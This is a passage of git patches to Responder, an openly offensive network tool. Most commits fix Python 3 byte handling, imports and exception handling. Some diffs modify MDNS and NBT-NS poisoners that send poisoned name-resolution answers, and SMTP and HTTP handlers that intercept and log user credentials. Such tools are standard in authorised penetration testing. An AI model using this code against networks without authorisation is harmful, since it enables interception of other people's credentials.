a/tools/RunFinger.py +++ b/tools/RunFinger.py @@ -106,7 +106,7 @@ def ParseNegotiateSMB2Ans(data): def SMB2SigningMandatory(data): global SMB2signing - if data[70] == "\x03": + if data[70:71] == b"\x03": SMB2signing = "True" else: SMB2signing = "False" @@ -201,7 +201,7 @@ def IsDCVuln(t, host): ##################### def IsSigningEnabled(data): - if data[39] == "\x0f": + if data[39:40] == b"\x0f": return 'True' else: return 'False' @@ -364,7 +364,7 @@ def ConnectAndChoseSMB(host): return False def handle(data, host): - if data[28] == "\x00": + if data[28:29] == b"\x00": a = SMBv2Head() a.calculate() b = SMBv2Negotiate() @@ -373,7 +373,7 @@ def handle(data, host): buffer0 = longueur(packet0)+packet0 return buffer0 - if data[28] == "\x01": + if data[28:29] == b"\x01": global Bootime SMB2SigningMandatory(data) Bootime = IsDCVuln(GetBootTime(data[116:124]), host[0]) @@ -385,7 +385,7 @@ def handle(data, host): buffer0 = longueur(packet0)+packet0 return buffer0 - if data[28] == "\x02": + if data[28:29] == b"\x02": ParseSMBNTLM2Exchange(data, host[0], Bootime, SMB2signing) ################## From 4ec2631ab0aa6ab90cd14f05a0ad77154c755ced Mon Sep 17 00:00:00 2001 From: nobbd Date: Tue, 15 Aug 2023 15:36:10 +0200 Subject: [PATCH 164/219] Update Finger.py to fix bug with single byte comparisons in python3 --- tools/SMBFinger/Finger.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/SMBFinger/Finger.py b/tools/SMBFinger/Finger.py index 04c139a..5de42db 100755 --- a/tools/SMBFinger/Finger.py +++ b/tools/SMBFinger/Finger.py @@ -152,7 +152,7 @@ def color(txt, code = 1, modifier = 0): return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt) def IsSigningEnabled(data): - if data[39] == "\x0f": + if data[39:40] == b"\x0f": return True else: return False From b61a640747f38f0a264dd6d5fc7c73e2967f932a Mon Sep 17 00:00:00 2001 From: nobbd Date: Tue, 15 Aug 2023 15:50:53 +0200 Subject: [PATCH 165/219] Update SMB.py --- servers/SMB.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/servers/SMB.py b/servers/SMB.py index 8507c33..bac9c18 100644 --- a/servers/SMB.py +++ b/servers/SMB.py @@ -178,7 +178,7 @@ def IsNT4ClearTxt(data, client): WordCount = data[HeadLen] ChainedCmdOffset = data[HeadLen+1] - if ChainedCmdOffset == "\x75": + if ChainedCmdOffset == "\x75" or ChainedCmdOffset == 117: PassLen = struct.unpack(' 2: From 6063c2f77a56f23af9e461cf382dcb4444b14bd3 Mon Sep 17 00:00:00 2001 From: nobbd Date: Tue, 15 Aug 2023 16:03:30 +0200 Subject: [PATCH 166/219] Update SMB.py --- servers/SMB.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/servers/SMB.py b/servers/SMB.py index bac9c18..d6920aa 100644 --- a/servers/SMB.py +++ b/servers/SMB.py @@ -200,7 +200,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP if not data: break - if data[0:1] == "\x81": #session request 139 + if data[0:1] == b"\x81": #session request 139 Buffer = "\x82\x00\x00\x00" try: self.request.send(Buffer) From 2b37d5763a468a019611c283b336551584e43dc5 Mon Sep 17 00:00:00 2001 From: Shutdown <40902872+ShutdownRepo@users.noreply.github.com> Date: Thu, 21 Sep 2023 20:14:59 +0200 Subject: [PATCH 167/219] Upgrading netifaces requirement --- requirements.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements.txt b/requirements.txt index 7cba2cd..7823774 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1 +1 @@ -netifaces==0.10.4 +netifaces>=0.10.4 From 3a23ccdef80a4462f7c80f5f5ab6e4a399905c2c Mon Sep 17 00:00:00 2001 From: Shutdown <40902872+ShutdownRepo@users.noreply.github.com> Date: Thu, 21 Sep 2023 20:18:13 +0200 Subject: [PATCH 168/219] Upgrading collections import --- tools/SMBFinger/odict.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/tools/SMBFinger/odict.py b/tools/SMBFinger/odict.py index 107cb01..ed3aa88 100644 --- a/tools/SMBFinger/odict.py +++ b/tools/SMBFinger/odict.py @@ -3,7 +3,11 @@ try: from UserDict import DictMixin except ImportError: from collections import UserDict - from collections import MutableMapping as DictMixin + # https://stackoverflow.com/questions/70870041/cannot-import-name-mutablemapping-from-collections + if sys.version_info[:2] >= (3, 8): + from collections.abc import MutableMapping + else: + from collections import MutableMapping class OrderedDict(dict, DictMixin): From 2c4cadbf7dec6e26ec2494a0cfde38655f5bebaf Mon Sep 17 00:00:00 2001 From: Shutdown <40902872+ShutdownRepo@users.noreply.github.com> Date: Fri, 22 Sep 2023 00:43:25 +0200 Subject: [PATCH 169/219] Fixing import issue like in /tools/odict.py --- tools/SMBFinger/odict.py | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/tools/SMBFinger/odict.py b/tools/SMBFinger/odict.py index ed3aa88..ca11f01 100644 --- a/tools/SMBFinger/odict.py +++ b/tools/SMBFinger/odict.py @@ -3,11 +3,10 @@ try: from UserDict import DictMixin except ImportError: from collections import UserDict - # https://stackoverflow.com/questions/70870041/cannot-import-name-mutablemapping-from-collections - if sys.version_info[:2] >= (3, 8): - from collections.abc import MutableMapping - else: - from collections import MutableMapping + try: + from collections import MutableMapping as DictMixin + except ImportError: + from collections.abc import MutableMapping as DictMixin class OrderedDict(dict, DictMixin): From aa8d81861bcdfc3dbf253b617ec044fd4807e9d4 Mon Sep 17 00:00:00 2001 From: Shutdown <40902872+ShutdownRepo@users.noreply.github.com> Date: Fri, 22 Sep 2023 00:43:58 +0200 Subject: [PATCH 170/219] Fixing collections import issue for /tools/MultiRelay/odict.py --- tools/MultiRelay/odict.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/tools/MultiRelay/odict.py b/tools/MultiRelay/odict.py index 107cb01..ca11f01 100644 --- a/tools/MultiRelay/odict.py +++ b/tools/MultiRelay/odict.py @@ -3,7 +3,10 @@ try: from UserDict import DictMixin except ImportError: from collections import UserDict - from collections import MutableMapping as DictMixin + try: + from collections import MutableMapping as DictMixin + except ImportError: + from collections.abc import MutableMapping as DictMixin class OrderedDict(dict, DictMixin): From 34603aed0aadfe3c3625ea729cbc9dc0f06e7e73 Mon Sep 17 00:00:00 2001 From: Syntricks <61319973+syntricks@users.noreply.github.com> Date: Thu, 12 Oct 2023 00:51:19 +0300 Subject: [PATCH 171/219] Fixing soft failure which results in missed SMTP credential interception Without this responder silently fails. During debugging I observed [[[can only concatenate str (not "bytes") to str]]] error. Enabling decoding of bytes made the error disappear and credentials properly intercepted (on-screen stdout, logs and to DB). Thank you for a very useful tool :) --- servers/SMTP.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/servers/SMTP.py b/servers/SMTP.py index 0dc5bd0..17fa26f 100644 --- a/servers/SMTP.py +++ b/servers/SMTP.py @@ -65,7 +65,7 @@ class ESMTP(BaseRequestHandler): data = self.request.recv(1024) if data: - try: Password = b64decode(data) + try: Password = b64decode(data).decode('latin-1') except: Password = data SaveToDb({ From dc33d1f858e9bbc58ae8edf030dbfee208d748f1 Mon Sep 17 00:00:00 2001 From: exploide Date: Thu, 9 Nov 2023 18:14:36 +0100 Subject: [PATCH 172/219] fixed HTTP basic auth parsing when password contains colons fixes #255 --- servers/HTTP.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) mode change 100755 => 100644 servers/HTTP.py diff --git a/servers/HTTP.py b/servers/HTTP.py old mode 100755 new mode 100644 index 6afafce..91acf3f --- a/servers/HTTP.py +++ b/servers/HTTP.py @@ -224,8 +224,8 @@ def PacketSequence(data, client, Challenge): 'module': 'HTTP', 'type': 'Basic', 'client': client, - 'user': ClearText_Auth.decode('latin-1').split(':')[0], - 'cleartext': ClearText_Auth.decode('latin-1').split(':')[1], + 'user': ClearText_Auth.decode('latin-1').split(':', maxsplit=1)[0], + 'cleartext': ClearText_Auth.decode('latin-1').split(':', maxsplit=1)[1], }) if settings.Config.Force_WPAD_Auth and WPAD_Custom: From 90ff1d37a748618b6dbb71446518b15e5715f89e Mon Sep 17 00:00:00 2001 From: exploide Date: Thu, 9 Nov 2023 18:18:43 +0100 Subject: [PATCH 173/219] gitignore: ignore pyc and certificate files --- .gitignore | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/.gitignore b/.gitignore index 4f18a99..238411b 100644 --- a/.gitignore +++ b/.gitignore @@ -1,5 +1,11 @@ +# Python artifacts +*.pyc + # Responder logs *.db *.txt *.log +# Generated certificates and keys +certs/*.crt +certs/*.key From cb042d16a27657f33f7193892178fc47266f5b16 Mon Sep 17 00:00:00 2001 From: brightio Date: Mon, 13 Nov 2023 20:39:29 +0100 Subject: [PATCH 174/219] Handle FTP exceptions properly --- servers/FTP.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/servers/FTP.py b/servers/FTP.py index b60b3d9..d1ffac0 100755 --- a/servers/FTP.py +++ b/servers/FTP.py @@ -55,5 +55,5 @@ class FTP(BaseRequestHandler): data = self.request.recv(1024) except Exception: - raise + self.request.close() pass From f6d1e6027ad1a88c07290ebec01170cf159f2675 Mon Sep 17 00:00:00 2001 From: brightio Date: Mon, 13 Nov 2023 20:46:46 +0100 Subject: [PATCH 175/219] Handle MQTT exceptions properly --- servers/MQTT.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/servers/MQTT.py b/servers/MQTT.py index f654664..1f870e2 100644 --- a/servers/MQTT.py +++ b/servers/MQTT.py @@ -201,5 +201,5 @@ class MQTT(BaseRequestHandler): except Exception: - raise + self.request.close() pass From 6a7643746426943ebd1228557f2b4a35fc4cecdc Mon Sep 17 00:00:00 2001 From: brightio Date: Mon, 13 Nov 2023 20:49:01 +0100 Subject: [PATCH 176/219] Handle WinRM exceptions properly --- servers/WinRM.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/servers/WinRM.py b/servers/WinRM.py index 25305f1..dda1355 100644 --- a/servers/WinRM.py +++ b/servers/WinRM.py @@ -175,6 +175,6 @@ class WinRM(BaseRequestHandler): self.request.send(NetworkSendBufferPython2or3(Buffer)) except: - raise + self.request.close() pass From 2f1b81b02436950b1ea75e8023a9be14f8f50e89 Mon Sep 17 00:00:00 2001 From: lgandx Date: Wed, 6 Dec 2023 18:44:35 -0300 Subject: [PATCH 177/219] minor fix --- packets.py | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/packets.py b/packets.py index fe60e42..e8503f5 100755 --- a/packets.py +++ b/packets.py @@ -1719,9 +1719,9 @@ class SMB2NegoAns(Packet): ("NegTokenTag0ASNLen", "\x3c"), ("NegThisMechASNId", "\x30"), ("NegThisMechASNLen", "\x3a"), - ("NegThisMech1ASNId", "\x06"), - ("NegThisMech1ASNLen", "\x0a"), - ("NegThisMech1ASNStr", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x1e"), + #("NegThisMech1ASNId", "\x06"), + #("NegThisMech1ASNLen", "\x0a"), + #("NegThisMech1ASNStr", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x1e"), ("NegThisMech2ASNId", "\x06"), ("NegThisMech2ASNLen", "\x09"), ("NegThisMech2ASNStr", "\x2a\x86\x48\x82\xf7\x12\x01\x02\x02"), @@ -1750,14 +1750,14 @@ class SMB2NegoAns(Packet): StructLen = str(self.fields["Len"])+str(self.fields["Signing"])+str(self.fields["Dialect"])+str(self.fields["Reserved"])+str(self.fields["Guid"])+str(self.fields["Capabilities"])+str(self.fields["MaxTransSize"])+str(self.fields["MaxReadSize"])+str(self.fields["MaxWriteSize"])+str(self.fields["SystemTime"])+str(self.fields["BootTime"])+str(self.fields["SecBlobOffSet"])+str(self.fields["SecBlobLen"])+str(self.fields["Reserved2"]) - SecBlobLen = str(self.fields["InitContextTokenASNId"])+str(self.fields["InitContextTokenASNLen"])+str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"]) + SecBlobLen = str(self.fields["InitContextTokenASNId"])+str(self.fields["InitContextTokenASNLen"])+str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"]) - AsnLenStart = str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"]) + AsnLenStart = str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"]) - AsnLen2 = str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"]) + AsnLen2 = str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"]) - MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"]) + MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"]) Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"]) @@ -1773,7 +1773,7 @@ class SMB2NegoAns(Packet): self.fields["NegTokenASNLen"] = StructWithLenPython2or3(" Date: Thu, 7 Dec 2023 09:33:38 -0300 Subject: [PATCH 178/219] fixed minor bug on py 3.10 --- tools/RunFinger.py | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/tools/RunFinger.py b/tools/RunFinger.py index bf9cadc..05463a7 100755 --- a/tools/RunFinger.py +++ b/tools/RunFinger.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python3 # This file is part of Responder, a network take-over set of tools # created and maintained by Laurent Gaffie. # email: laurent.gaffie@gmail.com @@ -364,7 +364,7 @@ def ConnectAndChoseSMB(host): return False def handle(data, host): - if data[28:29] == b"\x00": + if data[28:29] == "\x00": a = SMBv2Head() a.calculate() b = SMBv2Negotiate() @@ -373,7 +373,7 @@ def handle(data, host): buffer0 = longueur(packet0)+packet0 return buffer0 - if data[28:29] == b"\x01": + if data[28:29] == "\x01": global Bootime SMB2SigningMandatory(data) Bootime = IsDCVuln(GetBootTime(data[116:124]), host[0]) @@ -385,7 +385,7 @@ def handle(data, host): buffer0 = longueur(packet0)+packet0 return buffer0 - if data[28:29] == b"\x02": + if data[28:29] == "\x02": ParseSMBNTLM2Exchange(data, host[0], Bootime, SMB2signing) ################## @@ -412,6 +412,7 @@ def ShowSmallResults(Host): 'MSSQL': SQL }) except: + raise return False From f670fbaa7fcd3b072aef7cf29f43c1d76d6f13bf Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 7 Dec 2023 09:36:54 -0300 Subject: [PATCH 179/219] added:error handling on exceptions. --- poisoners/MDNS.py | 60 ++++++++++++++++++++++++---------------------- poisoners/NBTNS.py | 42 ++++++++++++++++---------------- 2 files changed, 53 insertions(+), 49 deletions(-) diff --git a/poisoners/MDNS.py b/poisoners/MDNS.py index d63d0fb..a9b555a 100755 --- a/poisoners/MDNS.py +++ b/poisoners/MDNS.py @@ -51,47 +51,49 @@ def Poisoned_MDNS_Name(data): class MDNS(BaseRequestHandler): def handle(self): - - data, soc = self.request - Request_Name = Parse_MDNS_Name(data) - MDNSType = Parse_IPV6_Addr(data) - # Break out if we don't want to respond to this host + try: + data, soc = self.request + Request_Name = Parse_MDNS_Name(data) + MDNSType = Parse_IPV6_Addr(data) + # Break out if we don't want to respond to this host - if (not Request_Name) or (RespondToThisHost(self.client_address[0].replace("::ffff:",""), Request_Name) is not True): - return None + if (not Request_Name) or (RespondToThisHost(self.client_address[0].replace("::ffff:",""), Request_Name) is not True): + return None - if settings.Config.AnalyzeMode: # Analyze Mode - print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Request_Name, 3)))) - SavePoisonersToDb({ + if settings.Config.AnalyzeMode: # Analyze Mode + print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Request_Name, 3)))) + SavePoisonersToDb({ 'Poisoner': 'MDNS', 'SentToIp': self.client_address[0], 'ForName': Request_Name, 'AnalyzeMode': '1', - }) - elif MDNSType == True: # Poisoning Mode - Poisoned_Name = Poisoned_MDNS_Name(data) - Buffer = MDNS_Ans(AnswerName = Poisoned_Name) - Buffer.calculate() - soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address) - if not settings.Config.Quiet_Mode: - print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1)) - SavePoisonersToDb({ + }) + elif MDNSType == True: # Poisoning Mode + Poisoned_Name = Poisoned_MDNS_Name(data) + Buffer = MDNS_Ans(AnswerName = Poisoned_Name) + Buffer.calculate() + soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address) + if not settings.Config.Quiet_Mode: + print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1)) + SavePoisonersToDb({ 'Poisoner': 'MDNS', 'SentToIp': self.client_address[0], 'ForName': Request_Name, 'AnalyzeMode': '0', - }) + }) - elif MDNSType == 'IPv6': # Poisoning Mode - Poisoned_Name = Poisoned_MDNS_Name(data) - Buffer = MDNS6_Ans(AnswerName = Poisoned_Name) - Buffer.calculate() - soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address) - if not settings.Config.Quiet_Mode: - print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1)) - SavePoisonersToDb({ + elif MDNSType == 'IPv6': # Poisoning Mode + Poisoned_Name = Poisoned_MDNS_Name(data) + Buffer = MDNS6_Ans(AnswerName = Poisoned_Name) + Buffer.calculate() + soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address) + if not settings.Config.Quiet_Mode: + print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1)) + SavePoisonersToDb({ 'Poisoner': 'MDNS6', 'SentToIp': self.client_address[0], 'ForName': Request_Name, 'AnalyzeMode': '0', - }) + }) + except: + raise diff --git a/poisoners/NBTNS.py b/poisoners/NBTNS.py index 1064bda..f574a98 100755 --- a/poisoners/NBTNS.py +++ b/poisoners/NBTNS.py @@ -27,33 +27,35 @@ else: class NBTNS(BaseRequestHandler): def handle(self): + try: + data, socket = self.request + Name = Decode_Name(NetworkRecvBufferPython2or3(data[13:45])) + # Break out if we don't want to respond to this host + if RespondToThisHost(self.client_address[0].replace("::ffff:",""), Name) is not True: + return None - data, socket = self.request - Name = Decode_Name(NetworkRecvBufferPython2or3(data[13:45])) - # Break out if we don't want to respond to this host - if RespondToThisHost(self.client_address[0].replace("::ffff:",""), Name) is not True: - return None - - if data[2:4] == b'\x01\x10': - if settings.Config.AnalyzeMode: # Analyze Mode - print(text('[Analyze mode: NBT-NS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Name, 3)))) - SavePoisonersToDb({ + if data[2:4] == b'\x01\x10': + if settings.Config.AnalyzeMode: # Analyze Mode + print(text('[Analyze mode: NBT-NS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Name, 3)))) + SavePoisonersToDb({ 'Poisoner': 'NBT-NS', 'SentToIp': self.client_address[0], 'ForName': Name, 'AnalyzeMode': '1', - }) - else: # Poisoning Mode - Buffer1 = NBT_Ans() - Buffer1.calculate(data) - socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) - if not settings.Config.Quiet_Mode: - LineHeader = "[*] [NBT-NS]" - print(color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1)) - SavePoisonersToDb({ + }) + else: # Poisoning Mode + Buffer1 = NBT_Ans() + Buffer1.calculate(data) + socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) + if not settings.Config.Quiet_Mode: + LineHeader = "[*] [NBT-NS]" + print(color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1)) + SavePoisonersToDb({ 'Poisoner': 'NBT-NS', 'SentToIp': self.client_address[0], 'ForName': Name, 'AnalyzeMode': '0', - }) + }) + except: + raise From 4ea3d7b76554dee5160aaf76a0235074590284f8 Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 7 Dec 2023 09:43:10 -0300 Subject: [PATCH 180/219] removed debug --- tools/RunFinger.py | 1 - 1 file changed, 1 deletion(-) diff --git a/tools/RunFinger.py b/tools/RunFinger.py index 05463a7..317f97b 100755 --- a/tools/RunFinger.py +++ b/tools/RunFinger.py @@ -412,7 +412,6 @@ def ShowSmallResults(Host): 'MSSQL': SQL }) except: - raise return False From 